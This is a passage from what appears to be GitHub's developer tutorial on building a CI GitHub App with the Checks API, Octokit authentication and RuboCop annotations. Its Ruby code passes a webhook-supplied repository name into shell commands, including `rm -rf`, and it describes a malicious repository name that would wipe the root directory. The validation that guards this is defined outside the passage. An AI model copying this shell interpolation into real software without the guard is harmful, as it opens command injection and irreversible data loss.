variables.product.prodname_github_app %} - -The third helper method `authenticate_app` allows your {% data variables.product.prodname_github_app %} to authenticate, so it can request an installation token. - -To make API calls, you'll be using the Octokit library. Doing anything interesting with this library will require your {% data variables.product.prodname_github_app %} to authenticate. For more information about the Octokit library, see the [Octokit documentation](https://octokit.github.io/octokit.rb/). - -{% data variables.product.prodname_github_apps %} have three methods of authentication: - -* Authenticating as a {% data variables.product.prodname_github_app %} using a [JSON Web Token (JWT)](https://jwt.io/introduction). -* Authenticating as a specific installation of a {% data variables.product.prodname_github_app %} using an installation access token. -* Authenticating on behalf of a user. This tutorial won't use this method of authentication. - -You'll learn about authenticating as an installation in the next section, [Authenticating as an installation](#authenticating-as-an-installation). - -Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things: - - * You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}. - * You can request access tokens for an installation of the app. - -For example, you would authenticate as a {% data variables.product.prodname_github_app %} to retrieve a list of the accounts (organization and personal) that have installed your app. But this authentication method doesn't allow you to do much with the API. To access a repository's data and perform operations on behalf of the installation, you need to authenticate as an installation. To do that, you'll need to authenticate as a {% data variables.product.prodname_github_app %} first to request an installation access token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -Before you can use the Octokit.rb library to make API calls, you'll need to initialize an [Octokit client](https://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as a {% data variables.product.prodname_github_app %}, using the `authenticate_app` helper method. - -```ruby -# Instantiate an Octokit client authenticated as a GitHub App. -# GitHub App authentication requires that you construct a -# JWT (https://jwt.io/introduction/) signed with the app's private key, -# so GitHub can be sure that it came from the app an not altered by -# a malicious third party. -def authenticate_app - payload = { - # The time that this JWT was issued, _i.e._ now. - iat: Time.now.to_i, - - # JWT expiration time (10 minute maximum) - exp: Time.now.to_i + (10 * 60), - - # Your GitHub App's identifier number - iss: APP_IDENTIFIER - } - - # Cryptographically sign the JWT - jwt = JWT.encode(payload, PRIVATE_KEY, 'RS256') - - # Create the Octokit client, using the JWT as the auth token. - @app_client ||= Octokit::Client.new(bearer_token: jwt) -end -``` - -The code above generates a JSON Web Token (JWT) and uses it (along with your app's private key) to initialize the Octokit client. GitHub checks a request's authentication by verifying the token with the app's stored public key. To learn more about how this code works, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app). - -##### Authenticating as an installation - -The fourth and final helper method, `authenticate_installation`, initializes an [Octokit client](https://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as an installation, which you can use to make authenticated calls to the API. - -An _installation_ refers to any user or organization account that has installed the app. Even if someone grants the app access to more than one repository on that account, it only counts as one installation because it's within the same account. - -```ruby -# Instantiate an Octokit client authenticated as an installation of a -# GitHub App to run API operations. -def authenticate_installation(payload) - installation_id = payload['installation']['id'] - installation_token = @app_client.create_app_installation_access_token(installation_id)[:token] - @installation_client = Octokit::Client.new(bearer_token: installation_token) -end -``` - -The `create_app_installation_access_token` Octokit method creates an installation token. For more information, see [create_installation_access_token](https://octokit.github.io/octokit.rb/Octokit/Client/Apps.html#create_app_installation_access_token-instance_method) in the Octokit documentation. - -This method accepts two arguments: - -* Installation (integer): The ID of a {% data variables.product.prodname_github_app %} installation -* Options (hash, defaults to `{}`): A customizable set of options - -Any time a {% data variables.product.prodname_github_app %} receives a webhook, it includes an `installation` object with an `id`. Using the client authenticated as a {% data variables.product.prodname_github_app %}, you pass this ID to the `create_app_installation_access_token` method to generate an access token for each installation. Since you're not passing any options to the method, the options default to an empty hash. The response for `create_app_installation_access_token` includes two fields: `token` and `expired_at`. The template code selects the token in the response and initializes an installation client. - -With this method in place, each time your app receives a new webhook payload, it creates a client for the installation that triggered the event. This authentication process enables your {% data variables.product.prodname_github_app %} to work for all installations on any account. - -## Start the server - -Your app doesn't do anything yet, but at this point, you can get it running on the server. - -1. In your terminal, make sure that Smee is still running. For more information, see [Get a webhook proxy URL](#get-a-webhook-proxy-url). -1. Open a new tab in your terminal, and `cd` into the directory where you cloned the repository that you created earlier in the tutorial. For more information, see [Create a repository to store code for your GitHub App](#create-a-repository-to-store-code-for-your-github-app). The Ruby code in this repository will start up a [Sinatra](https://sinatrarb.com/) web server. - -1. Install the dependencies by running the following two commands one after the other: - - ```shell copy - gem install bundler - ``` - - ```shell copy - bundle install - ``` - -1. After installing the dependencies, start the server by running this command: - - ```shell copy - bundle exec ruby server.rb - ``` - - You should see a response like this: - - ```shell - > == Sinatra (v2.2.3) has taken the stage on 3000 for development with backup from Puma - > Puma starting in single mode... - > * Puma version: 6.3.0 (ruby 3.1.2-p20) ("Mugi No Toki Itaru") - > * Min threads: 0 - > * Max threads: 5 - > * Environment: development - > * PID: 14915 - > * Listening on http://0.0.0.0:3000 - > Use Ctrl-C to stop - ``` - - If you see an error, make sure you've created the `.env` file in the directory that contains `server.rb`. - -1. To test the server, navigate in your browser to `http://localhost:3000`. - - If you see an error page that says "Sinatra doesn't know this ditty," the app is working as expected. Even though it's an error page, it's a Sinatra error page, which means your app is connected to the server as expected. You're seeing this message because you haven't given the app anything else to show. - -## Test that the server is listening to your app - -You can test that the server is listening to your app by triggering an event for it to receive. You'll do that by installing the app on a test repository, which will send the [`installation` event](/webhooks-and-events/webhooks/webhook-events-and-payloads#installation) to your app. If the app receives it, you should see output in the terminal tab where you're running `server.rb`. - -1. Create a new repository to use for testing your tutorial code. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. Install the {% data variables.product.prodname_github_app %} on the repository you just created. For more information, see [AUTOTITLE](/apps/using-github-apps/installing-your-own-github-app#installing-your-own-github-app). During the installation process, choose **Only select repositories**, and select the repository you created in the previous step. -1. After you click **Install**, look at the output in the terminal tab where you're running `server.rb`. You should see something like this: - - ```shell - > D, [2023-06-08T15:45:43.773077 #30488] DEBUG -- : ---- received event installation - > D, [2023-06-08T15:45:43.773141 #30488]] DEBUG -- : ---- action created - > 192.30.252.44 - - [08/Jun/2023:15:45:43 -0400] "POST /event_handler HTTP/1.1" 200 - 0.5390 - ``` - - If you see output like this, it means your app received a notification that it was installed on your {% data variables.product.prodname_dotcom %} account. The app is running on the server as expected. - - If you don't see this output, make sure Smee is running correctly in another terminal tab. If you need to restart Smee, note that you'll also need to _uninstall_ and _reinstall_ the app to send the `installation` event to your app again and see the output in terminal. - -If you're wondering where the terminal output above is coming from, it's written in the app template code you added to `server.rb` in [Add code for your {% data variables.product.prodname_github_app %}](#add-code-for-your-github-app). - -## Part 1. Creating the Checks API interface - -In this part, you will add the code necessary to receive `check_suite` webhook events, and create and update check runs. You'll also learn how to create check runs when a check was re-requested on {% data variables.product.prodname_dotcom %}. At the end of this section, you'll be able to view the check run you created in a {% data variables.product.prodname_dotcom %} pull request. - -Your check run will not perform any checks on the code in this section. You'll add that functionality in [Part 2: Creating a CI test](#part-2-creating-a-ci-test). - -You should already have a Smee channel configured that is forwarding webhook payloads to your local server. Your server should be running and connected to the {% data variables.product.prodname_github_app %} you registered and installed on a test repository. - -These are the steps you'll complete in Part 1: - -1. [Add event handling](#step-11-add-event-handling) -1. [Create a check run](#step-12-create-a-check-run) -1. [Update a check run](#step-13-update-a-check-run) - -## Step 1.1. Add event handling - -Because your app is subscribed to the **Check suite** and **Check run** events, it will receive the [`check_suite`](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite) and [`check_run`](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run) webhooks. {% data variables.product.prodname_dotcom %} sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost:3000/event_handler`, your server will receive the `POST` request payloads at the `post '/event_handler'` route. - -Open the `server.rb` file that you created in [Add code for your {% data variables.product.prodname_github_app %}](#add-code-for-your-github-app), and look for the following code. An empty `post '/event_handler'` route is already included in the template code. The empty route looks like this: - -```ruby - post '/event_handler' do - - # ADD EVENT HANDLING HERE # - - 200 # success status - end -``` - -In the code block that starts with `post '/event_handler' do`, where it says `# ADD EVENT HANDLING HERE #`, add the following code. This route will handle the `check_suite` event. - -```ruby copy - # Get the event type from the HTTP_X_GITHUB_EVENT header - case request.env['HTTP_X_GITHUB_EVENT'] - when 'check_suite' - # A new check_suite has been created. Create a new check run with status queued - if @payload['action'] == 'requested' || @payload['action'] == 'rerequested' - create_check_run - end - # ADD CHECK_RUN METHOD HERE # - end -``` - -Every event that {% data variables.product.prodname_dotcom %} sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in events of type `check_suite`, which are emitted when a new check suite is created. Each event has an additional `action` field that indicates the type of action that triggered the events. For `check_suite`, the `action` field can be `requested`, `rerequested`, or `completed`. - -The `requested` action requests a check run each time code is pushed to the repository, while the `rerequested` action requests that you re-run a check for code that already exists in the repository. Because both the `requested` and `rerequested` actions require creating a check run, you'll call a helper called `create_check_run`. Let's write that method now. - -## Step 1.2. Create a check run - -You'll add this new method as a [Sinatra helper](https://github.com/sinatra/sinatra#helpers) in case you want other routes to use it too. - -In the code block that starts with `helpers do`, where it says `# ADD CREATE_CHECK_RUN HELPER METHOD HERE #`, add the following code: - -```ruby copy - # Create a new check run with status "queued" - def create_check_run - @installation_client.create_check_run( - # [String, Integer, Hash, Octokit Repository object] A GitHub repository. - @payload['repository']['full_name'], - # [String] The name of your check run. - 'Octo RuboCop', - # [String] The SHA of the commit to check - # The payload structure differs depending on whether a check run or a check suite event occurred. - @payload['check_run'].nil? ? @payload['check_suite']['head_sha'] : @payload['check_run']['head_sha'], - # [Hash] 'Accept' header option, to avoid a warning about the API not being ready for production use. - accept: 'application/vnd.github+json' - ) - end -``` - -This code calls the `POST /repos/{owner}/{repo}/check-runs` endpoint using the Octokit [create_check_run method](https://msp-greg.github.io/octokit/Octokit/Client/Checks.html#create_check_run-instance_method). For more information about the endpoint, see [AUTOTITLE](/rest/checks/runs#create-a-check-run). - -To create a check run, only two input parameters are required: `name` and `head_sha`. In this code, we name the check run "Octo RuboCop," because we'll use RuboCop to implement the CI test later in the tutorial. But you can choose any name you'd like for the check run. For more information about RuboCop, see the [RuboCop documentation](https://docs.rubocop.org/rubocop/index.html). - -You're only supplying the required parameters now to get the basic functionality working, but you'll update the check run later as you collect more information about the check run. By default, {% data variables.product.prodname_dotcom %} sets the `status` to `queued`. - -{% data variables.product.prodname_dotcom %} creates a check run for a specific commit SHA, which is why `head_sha` is a required parameter. You can find the commit SHA in the webhook payload. Although you're only creating a check run for the `check_suite` event right now, it's good to know that the `head_sha` is included in both the `check_suite` and `check_run` objects in the event payloads. - -The code above uses a [ternary operator](https://ruby-doc.org/core-2.3.0/doc/syntax/control_expressions_rdoc.html#label-Ternary+if), which works like an `if/else` statement, to check if the payload contains a `check_run` object. If it does, you read the `head_sha` from the `check_run` object, otherwise you read it from the `check_suite` object. - -### Test the code - -The following steps will show you how to test that the code works, and that it successfully creates a new check run. - -1. Run the following command to restart the server from your terminal. If the server is already running, first enter `Ctrl-C` in your terminal to stop the server, and then run the following command to start the server again. - - ```shell copy - ruby server.rb - ``` - -1. Create a pull request in the test repository you created in [Test that the server is listening to your app](#test-that-the-server-is-listening-to-your-app). This is the repository that you granted the app access to. -1. In the pull request you just created, navigate to the **Checks** tab. You should see a check run with the name "Octo RuboCop," or whichever name you chose earlier for the check run. - -If you see other apps in the **Checks** tab, it means you have other apps installed on your repository that have **Read & write** access to checks and are subscribed to **Check suite** and **Check run** events. It may also mean that you have {% data variables.product.prodname_actions %} workflows on the repository that are triggered by the `pull_request` or `pull_request_target` event. - -So far you've told {% data variables.product.prodname_dotcom %} to create a check run. The check run status in the pull request is set to queued with a yellow icon. In the next step, you will wait for {% data variables.product.prodname_dotcom %} to create the check run and update its status. - -## Step 1.3. Update a check run - -When your `create_check_run` method runs, it asks {% data variables.product.prodname_dotcom %} to create a new check run. When {% data variables.product.prodname_dotcom %} finishes creating the check run, you'll receive the `check_run` webhook event with the `created` action. That event is your signal to begin running the check. - -You'll update your event handler to look for the `created` action. While you're updating the event handler, you can add a conditional for the `rerequested` action. When someone re-runs a single test on {% data variables.product.prodname_dotcom %} by clicking the "Re-run" button, {% data variables.product.prodname_dotcom %} sends the `rerequested` check run event to your app. When a check run is `rerequested`, you'll start the process all over and create a new check run. To do that, you'll include a condition for the `check_run` event in the `post '/event_handler'` route. - -In the code block that starts with `post '/event_handler' do`, where it says `# ADD CHECK_RUN METHOD HERE #`, add the following code: - -```ruby copy - when 'check_run' - # Check that the event is being sent to this app - if @payload['check_run']['app']['id'].to_s === APP_IDENTIFIER - case @payload['action'] - when 'created' - initiate_check_run - when 'rerequested' - create_check_run - # ADD REQUESTED_ACTION METHOD HERE # - end - end -``` - -{% data variables.product.prodname_dotcom %} sends all events for `created` check runs to every app installed on a repository that has the necessary checks permissions. That means that your app will receive check runs created by other apps. A `created` check run is a little different from a `requested` or `rerequested` check suite, which {% data variables.product.prodname_dotcom %} sends only to apps that are being requested to run a check. The code above looks for the check run's application ID. This filters out all check runs for other apps on the repository. - -Next you'll write the `initiate_check_run` method, which is where you'll update the check run status and prepare to kick off your CI test. - -In this section, you're not going to kick off the CI test yet, but you'll walk through how to update the status of the check run from `queued` to `pending` and then from `pending` to `completed` to see the overall flow of a check run. In [Part 2: Creating a CI test](#part-2-creating-a-ci-test), you'll add the code that actually performs the CI test. - -Let's create the `initiate_check_run` method and update the status of the check run. - -In the code block that starts with `helpers do`, where it says `# ADD INITIATE_CHECK_RUN HELPER METHOD HERE #`, add the following code: - -```ruby copy - # Start the CI process - def initiate_check_run - # Once the check run is created, you'll update the status of the check run - # to 'in_progress' and run the CI process. When the CI finishes, you'll - # update the check run status to 'completed' and add the CI results. - - @installation_client.update_check_run( - @payload['repository']['full_name'], - @payload['check_run']['id'], - status: 'in_progress', - accept: 'application/vnd.github+json' - ) - - # ***** RUN A CI TEST ***** - - # Mark the check run as complete! - @installation_client.update_check_run( - @payload['repository']['full_name'], - @payload['check_run']['id'], - status: 'completed', - conclusion: 'success', - accept: 'application/vnd.github+json' - ) - - end -``` - -The code above calls the `PATCH /repos/{owner}/{repo}/check-runs/{check_run_id}` endpoint using the [`update_check_run` Octokit method](https://msp-greg.github.io/octokit/Octokit/Client/Checks.html#update_check_run-instance_method), and updates the check run that you already created. For more information about the endpoint, see [AUTOTITLE](/rest/checks/runs#update-a-check-run). - -Here's what this code is doing. First, it updates the check run's status to `in_progress` and implicitly sets the `started_at` time to the current time. In Part 2 of this tutorial, you'll add code that kicks off a real CI test under `***** RUN A CI TEST *****`. For now, you'll leave that section as a placeholder, so the code that follows it will just simulate that the CI process succeeds and all tests pass. Finally, the code updates the status of the check run again to `completed`. - -When you use the REST API to provide a check run status of `completed`, the `conclusion` and `completed_at` parameters are required. The `conclusion` summarizes the outcome of a check run and can be `success`, `failure`, `neutral`, `cancelled`, `timed_out`, `skipped`, or `action_required`. You'll set the conclusion to `success`, the `completed_at` time to the current time, and the status to `completed`. - -You could also provide more details about what your check is doing, but you'll get to that in the next section. - -### Test the code - -The following steps will show you how to test that the code works, and that the new "Re-run all" button you created works. - -1. Run the following command to restart the server from your terminal. If the server is already running, first enter `Ctrl-C` in your terminal to stop the server, and then run the following command to start the server again. - - ```shell copy - ruby server.rb - ``` - -1. Create a pull request in the test repository you created in [Test that the server is listening to your app](#test-that-the-server-is-listening-to-your-app). This is the repository that you granted the app access to. -1. In the pull request you just created, navigate to the **Checks** tab. You should see a "Re-run all" button. -1. Click the "Re-run all" button in the upper right corner. The test should run again, and end with `success`. - -## Part 2. Creating a CI test - -Now that you've got the interface created to receive API events and create check runs, you can create a check run that implements a CI test. - -RuboCop is a Ruby code linter and formatter. It checks Ruby code to ensure that it complies with the Ruby Style Guide. For more information, see the [RuboCop documentation](https://docs.rubocop.org/rubocop/index.html). - -RuboCop has three primary functions: - -* Linting to check code style -* Code formatting -* Replaces the native Ruby linting capabilities using `ruby -w` - -Your app will run RuboCop on the CI server, and create check runs (CI tests in this case) that report the results that RuboCop reports to {% data variables.product.prodname_dotcom %}. - -The REST API allows you to report rich details about each check run, including statuses, images, summaries, annotations, and requested actions. - -Annotations are information about specific lines of code in a repository. An annotation allows you to pinpoint and visualize the exact parts of the code you'd like to show additional information for. For example, you could show that information as a comment, error, or warning on a specific line of code. This tutorial uses annotations to visualize RuboCop errors. - -To take advantage of requested actions, app developers can create buttons in the **Checks** tab of pull requests. When someone clicks one of these buttons, the click sends a `requested_action` `check_run` event to the {% data variables.product.prodname_github_app %}. The action that the app takes is completely configurable by the app developer. This tutorial will walk you through adding a button that allows users to request that RuboCop fix the errors it finds. RuboCop supports automatically fixing errors using a command-line option, and you'll configure the `requested_action` to take advantage of this option. - -These are the steps you'll complete in this section: - -1. [Add a Ruby file](#step-21-add-a-ruby-file) -1. [Allow RuboCop to clone the test repository](#step-22-allow-rubocop-to-clone-the-test-repository) -1. [Run RuboCop](#step-23-run-rubocop) -1. [Collect RuboCop errors](#step-24-collect-rubocop-errors) -1. [Update the check run with CI test results](#step-25-update-the-check-run-with-ci-test-results) -1. [Automatically fix RuboCop errors](#step-26-automatically-fix-rubocop-errors) - -## Step 2.1. Add a Ruby file - -You can pass specific files or entire directories for RuboCop to check. In this tutorial, you'll run RuboCop on an entire directory. RuboCop only checks Ruby code. To test your {% data variables.product.prodname_github_app %}, you'll need to add a Ruby file in your repository that contains errors for RuboCop to find. After adding the following Ruby file to your repository, you will update your CI check to run RuboCop on the code. - -1. Navigate to the test repository you created in [Test that the server is listening to your app](#test-that-the-server-is-listening-to-your-app). This is the repository that you granted the app access to. -1. Create a new file named `myfile.rb`. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files). -1. Add the following content to `myfile.rb`: - - ```ruby copy - # frozen_string_literal: true - - # The Octocat class tells you about different breeds of Octocat - class Octocat - def initialize(name, *breeds) - # Instance variables - @name = name - @breeds = breeds - end - - def display - breed = @breeds.join("-") - - puts "I am of #{breed} breed, and my name is #{@name}." - end - end - - m = Octocat.new("Mona", "cat", "octopus") - m.display - ``` - -1. If you created the file locally, make sure you commit and push the file to your repository on {% data variables.product.prodname_dotcom %}. - -## Step 2.2. Allow RuboCop to clone the test repository - -RuboCop is available as a command-line utility. That means, if you want to run RuboCop on a repository, your {% data variables.product.prodname_github_app %} will need to clone a local copy of the repository on the CI server so RuboCop can parse the files. To do that, your code will need to be able to run Git operations, and your {% data variables.product.prodname_github_app %} will need to have the correct permissions to clone a repository. - -### Allow Git operations - -To run Git operations in your Ruby app, you can use the [ruby-git](https://github.com/ruby-git/ruby-git) gem. The `Gemfile` you created in [Setup](#setup) already includes the ruby-git gem, and you installed it when you ran `bundle install` in [Start the server](#start-the-server). - -Now, at the top of your `server.rb` file, below the other `require` items, add the following code: - -```ruby copy -require 'git' -``` - -### Update your app permissions - -Next you'll need to update your {% data variables.product.prodname_github_app %}'s permissions. Your app will need read permission for "Contents" to clone a repository. And later in this tutorial, it will need write permission to push contents to {% data variables.product.prodname_dotcom %}. To update your app's permissions: - -1. Select your app from the [app settings page](https://github.com/settings/apps), and click **Permissions & events** in the sidebar. -1. Under "Repository permissions", next to "Contents", select **Read & write**. -{% data reusables.apps.accept_new_permissions_steps %} - -### Add code to clone a repository - -To clone a repository, the code will use your {% data variables.product.prodname_github_app %}'s permissions and the Octokit SDK to create an installation token for your app (`x-access-token:TOKEN`) and use it in the following clone command: - -```shell -git clone https://x-access-token:TOKEN@github.com/OWNER/REPO.git -``` - -The command above clones a repository over HTTPS. It requires the full repository name, which includes the repository owner (user or organization) and the repository name. For example, the [octocat Hello-World](https://github.com/octocat/Hello-World) repository has a full name of `octocat/hello-world`. - -Open your `server.rb` file. In the code block that starts with `helpers do`, where it says `# ADD CLONE_REPOSITORY HELPER METHOD HERE #`, add the following code: - -```ruby copy - # Clones the repository to the current working directory, updates the - # contents using Git pull, and checks out the ref. - # - # full_repo_name - The owner and repo. Ex: octocat/hello-world - # repository - The repository name - # ref - The branch, commit SHA, or tag to check out - def clone_repository(full_repo_name, repository, ref) - @git = Git.clone("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", repository) - pwd = Dir.getwd() - Dir.chdir(repository) - @git.pull - @git.checkout(ref) - Dir.chdir(pwd) - end -``` - -The code above uses the `ruby-git` gem to clone the repository using the app's installation token. It clones the code in the same directory as `server.rb`. To run Git commands in the repository, the code needs to change into the repository directory. Before changing directories, the code stores the current working directory in a variable (`pwd`) to remember where to return before exiting the `clone_repository` method. - -From the repository directory, this code fetches and merges the latest changes (`@git.pull`), and checks out the specific Git ref (`@git.checkout(ref)`). The code to do all of this fits nicely into its own method. To perform these operations, the method needs the name and full name of the repository and the ref to checkout. The ref can be a commit SHA, branch, or tag. When it's done, the code changes the directory back to the original working directory (`pwd`). - -Now you've got a method that clones a repository and checks out a ref. Next, you need to add code to get the required input parameters and call the new `clone_repository` method. - -In the code block that starts with `helpers do`, in the `initiate_check_run` helper method where it says `# ***** RUN A CI TEST *****`, add the following code: - -```ruby copy - full_repo_name = @payload['repository']['full_name'] - repository = @payload['repository']['name'] - head_sha = @payload['check_run']['head_sha'] - - clone_repository(full_repo_name, repository, head_sha) - - # ADD CODE HERE TO RUN RUBOCOP # -``` - -The code above gets the full repository name and the head SHA of the commit from the `check_run` webhook payload. - -## Step 2.3. Run RuboCop - -So far, your code clones the repository and creates check runs using your CI server. Now you'll get into the details of the [RuboCop linter](https://docs.rubocop.org/rubocop/usage/basic_usage.html#code-style-checker) and [checks annotations](/rest/checks/runs#create-a-check-run). - -First, you'll add code to run RuboCop and save the style code errors in JSON format. - -In the code block that starts with `helpers do`, find the `initiate_check_run` helper method. Inside that helper method, under `clone_repository(full_repo_name, repository, head_sha)`, where it says `# ADD CODE HERE TO RUN RUBOCOP #`, add the following code: - -```ruby copy - # Run RuboCop on all files in the repository - @report = `rubocop '#{repository}' --format json` - logger.debug @report - `rm -rf #{repository}` - @output = JSON.parse @report - - # ADD ANNOTATIONS CODE HERE # -``` - -The code above runs RuboCop on all files in the repository's directory. The option `--format json` saves a copy of the linting results in a machine-parsable format. For more information, and an example of the JSON format, see [JSON Formatter](https://docs.rubocop.org/rubocop/formatters.html#json-formatter) in the RuboCop docs. This code also parses the JSON so you can easily access the keys and values in your {% data variables.product.prodname_github_app %} using the `@output` variable. - -After running RuboCop and saving the linting results, this code runs the command `rm -rf` to remove the checkout of the repository. Because the code stores the RuboCop results in a `@report` variable, it can safely remove the checkout of the repository. - -The `rm -rf` command cannot be undone. To keep your app secure, the code in this tutorial checks incoming webhooks for injected malicious commands that could be used to remove a different directory than intended by your app. For example, if a bad actor sent a webhook with the repository name `./`, your app would remove the root directory. The `verify_webhook_signature` method validates the sender of the webhook. The `verify_webhook_signature` event handler also checks that the repository name is valid. For more information, see [Define a `before` filter](#define-a-before-filter). - -### Test the code - -The following steps will show you how to test that the code works and view the errors reported by RuboCop. - -1. Run the following command to restart the server from your terminal. If the server is already running, first enter `Ctrl-C` in your terminal to stop the server, and then run the following command to start the server again. - - ```shell copy - ruby server.rb - ``` - -1. In the repository where you added the `myfile.rb` file, create a new pull request. -1. In your terminal tab where the server is running, you should see debug output that contains linting errors. The linting errors are printed without any formatting. You can copy and paste your debug output into a web tool like [JSON formatter](https://jsonformatter.org/), to format your JSON output like the following example: - - ```json - { - "metadata": { - "rubocop_version": "0.60.0", - "ruby_engine": "ruby", - "ruby_version": "2.3.7", - "ruby_patchlevel": "456", - "ruby_platform": "universal.x86_64-darwin18" - }, - "files": [ - { - "path": "Octocat-breeds/octocat.rb", - "offenses": [ - { - "severity": "convention", - "message": "Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.", - "cop_name": "Style/StringLiterals", - "corrected": false, - "location": { - "start_line": 17, - "start_column": 17, - "last_line": 17, - "last_column": 22, - "length": 6, - "line": 17, - "column": 17 - } - }, - { - "severity": "convention", - "message": "Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.", - "cop_name": "Style/StringLiterals", - "corrected": false, - "location": { - "start_line": 17, - "start_column": 25, - "last_line": 17, - "last_column": 29, - "length": 5, - "line": 17, - "column": 25 - } - } - ] - } - ], - "summary": { - "offense_count": 2, - "target_file_count": 1, - "inspected_file_count": 1 - } - } - ``` - -## Step 2.4. Collect RuboCop errors - -The `@output` variable contains the parsed JSON results of the RuboCop report. As shown in the example output in the previous step, the results contain a `summary` section that your code can use to quickly determine if there are any errors. The following code will set the check run conclusion to `success` when there are no reported errors. RuboCop reports errors for each file in the `files` array, so if there are errors, you'll need to extract some data from the file object. - -The REST API endpoints to manage check runs allow you to create annotations for specific lines of code. When you create or update a check run, you can add annotations. In this tutorial you will update the check run with annotations, using the `PATCH /repos/{owner}/{repo}/check-runs/{check_run_id}` endpoint. For more information about the endpoint, see [AUTOTITLE](/rest/checks/runs#update-a-check-run). - -The API limits the number of annotations to a maximum of 50 per request. To create more than 50 annotations, you will have to make multiple requests to the "Update a check run" endpoint. For example, to create 105 annotations you would need to make three separate requests to the API. The first two requests would each have 50 annotations, and the third request would include the five remaining annotations. Each time you update the check run, annotations are appended to the list of annotations that already exist for the check run. - -A check run expects annotations as an array of objects. Each annotation object must include the `path`, `start_line`, `end_line`, `annotation_level`, and `message`. RuboCop provides the `start_column` and `end_column` too, so you can include those optional parameters in the annotation. Annotations only support `start_column` and `end_column` on the same line. For more information, see the `annotations` object in [AUTOTITLE](/rest/checks/runs#create-a-check-run). - -Now you'll add code to extract the required information from RuboCop that's needed to create each annotation. - -Under the code you added in the previous step, where it says `# ADD ANNOTATIONS CODE HERE #`, add the following code: - -```ruby copy - annotations = [] - # You can create a maximum of 50 annotations per request to the Checks - # API. To add more than 50 annotations, use the "Update a check run" API - # endpoint. This example code limits the number of annotations to 50. - # See /rest/reference/checks#update-a-check-run - # for details. - max_annotations = 50 - - # RuboCop reports the number of errors found in "offense_count" - if @output['summary']['offense_count'] == 0 - conclusion = 'success' - else - conclusion = 'neutral' - @output['files'].each do |file| - - # Only parse offenses for files in this app's repository - file_path = file['path'].gsub(/#{repository}\//,'') - annotation_level = 'notice' - - # Parse each offense to get details and location - file['offenses'].each do |offense| - # Limit the number of annotations to 50 - next if max_annotations == 0 - max_annotations -= 1 - - start_line = offense['location']['start_line'] - end_line = offense['location']['last_line'] - start_column = offense['location']['start_column'] - end_column = offense['location']['last_column'] - message = offense['message'] - - # Create a new annotation for each error - annotation = { - path: file_path, - start_line: start_line, - end_line: end_line, - start_column: start_column, - end_column: end_column, - annotation_level: annotation_level, - message: message - } - # Annotations only support start and end columns on the same line - if start_line == end_line - annotation.merge({start_column: start_column, end_column: end_column}) - end - - annotations.push(annotation) - end - end - end - - # ADD CODE HERE TO UPDATE CHECK RUN SUMMARY # -``` - -This code limits the total number of annotations to 50. But you can modify this code to update the check run for each batch of 50 annotations. The code above includes the variable `max_annotations` that sets the limit to 50, which is used in the loop that iterates through the offenses. - -When the `offense_count` is zero, the CI test is a `success`. If there are errors, this code sets the conclusion to `neutral` in order to prevent strictly enforcing errors from code linters. But you can change the conclusion to `failure` if you would like to ensure that the check suite fails when there are linting errors. - -When errors are reported, the code above iterates through the `files` array in the RuboCop report. For each file, it extracts the file path and sets the annotation level to `notice`. You could go even further and set specific warning levels for each type of [RuboCop Cop](https://docs.rubocop.org/rubocop/cops.html), but to keep things simpler in this tutorial, all errors are set to a level of `notice`. - -This code also iterates through each error in the `offenses` array and collects the location of the offense and error message. After extracting the information needed, the code creates an annotation for each error and stores it in the `annotations` array. Because annotations only support start and end columns on the same line, `start_column` and `end_column` are only added to the `annotation` object if the start and end line values are the same. - -This code doesn't yet create an annotation for the check run. You'll add that code in the next section. - -## Step 2.5. Update the check run with CI test results - -Each check run from {% data variables.product.prodname_dotcom %} contains an `output` object that includes a `title`, `summary`, `text`, `annotations`, and `images`. The `summary` and `title` are the only required parameters for the `output`, but those alone don't offer much detail, so this tutorial also adds `text` and `annotations`. - -For the `summary`, this example uses the summary information from RuboCop and adds newlines (`\n`) to format the output. You can customize what you add to the `text` parameter, but this example sets the `text` parameter to the RuboCop version. The following code sets the `summary` and `text`. - -Under the code you added in the previous step, where it says `# ADD CODE HERE TO UPDATE CHECK RUN SUMMARY #`, add the following code: - -``` ruby copy - # Updated check run summary and text parameters - summary = "Octo RuboCop summary\n-Offense count: #{@output['summary']['offense_count']}\n-File count: #{@output['summary']['target_file_count']}\n-Target file count: #{@output['summary']['inspected_file_count']}" - text = "Octo RuboCop version: #{@output['metadata']['rubocop_version']}" -``` - -Now your code should have all the information it needs to update your check run. In [Step 1.3. Update a check run](#step-13-update-a-check-run), you added code to set the status of the check run to `success`. You'll need to update that code to use the `conclusion` variable you set based on the RuboCop results (to `success` or `neutral`). Here's the code you added previously to your `server.rb` file: - -```ruby -# Mark the check run as complete! -@installation_client.update_check_run( - @payload['repository']['full_name'], - @payload['check_run']['id'], - status: 'completed', - conclusion: 'success', - accept: 'application/vnd.github+json' -) -``` - -Replace that code with the following code: - -```ruby copy - # Mark the check run as complete! And if there are warnings, share them. - @installation_client.update_check_run( - @payload['repository']['full_name'], - @payload['check_run']['id'], - status: 'completed', - conclusion: conclusion, - output: { - title: 'Octo RuboCop', - summary: summary, - text: text, - annotations: annotations - }, - actions: [{ - label: 'Fix this', - description: 'Automatically fix all linter notices.', - identifier: 'fix_rubocop_notices' - }], - accept: 'application/vnd.github+json' - ) -``` - -Now that your code sets a conclusion based on the status of the CI test, and adds the output from the RuboCop results, you've created a CI test. - -The code above also adds a feature called requested actions to your CI server, via the `actions` object. {% ifversion fpt or ghec %}(Note this is not related to [GitHub Actions](/actions).) {% endif %}For more information, see [Request further actions from a check 